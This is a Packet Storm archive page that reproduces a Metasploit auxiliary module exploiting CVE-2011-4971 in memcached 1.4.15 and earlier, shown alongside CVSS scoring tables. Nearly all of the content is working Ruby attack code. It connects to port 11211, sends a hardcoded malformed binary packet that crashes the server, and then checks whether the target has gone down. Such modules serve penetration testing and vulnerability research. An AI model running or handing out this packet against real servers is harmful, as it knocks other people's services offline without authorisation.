Lucene search

K
packetstormJay Turla, metasploit.comPACKETSTORM:180545
HistoryAug 31, 2024 - 12:00 a.m.

Memcached Remote Denial of Service

2024-08-3100:00:00
Jay Turla, metasploit.com
packetstormsecurity.com
14
memcached
remote
denial of service
segmentation fault
gregory man
exploit
vulnerability

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

AI Score

6.9

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Memcached Remote Denial of Service',  
'Description' => %q{  
This module sends a specially-crafted packet to cause a  
segmentation fault in memcached v1.4.15 or earlier versions.  
},  
'References' =>  
[  
[ 'URL', 'https://code.google.com/archive/p/memcached/issues/192' ],  
[ 'CVE', '2011-4971' ],  
[ 'OSVDB', '92867' ]  
],  
'Author' => [ 'Gregory Man <man.gregory[at]gmail.com>' ],  
'License' => MSF_LICENSE  
))  
  
register_options([Opt::RPORT(11211),])  
end  
  
def is_alive?  
begin  
connect  
disconnect  
rescue Rex::ConnectionRefused  
return false  
end  
  
return true  
end  
  
def run  
connect  
pkt = "\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00"  
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00"  
pkt << "\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
  
print_status("#{rhost}:#{rport} - Sending dos packet...")  
sock.put(pkt)  
disconnect  
  
print_status("#{rhost}:#{rport} - Checking host status...")  
select(nil, nil, nil, 1)  
  
if is_alive?  
print_error("#{rhost}:#{rport} - The DoS attempt did not work, host is still alive")  
else  
print_good("#{rhost}:#{rport} - Tango down") # WWJS - What would th3j35t3r say?  
end  
end  
end  
`

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

AI Score

6.9

Confidence

Low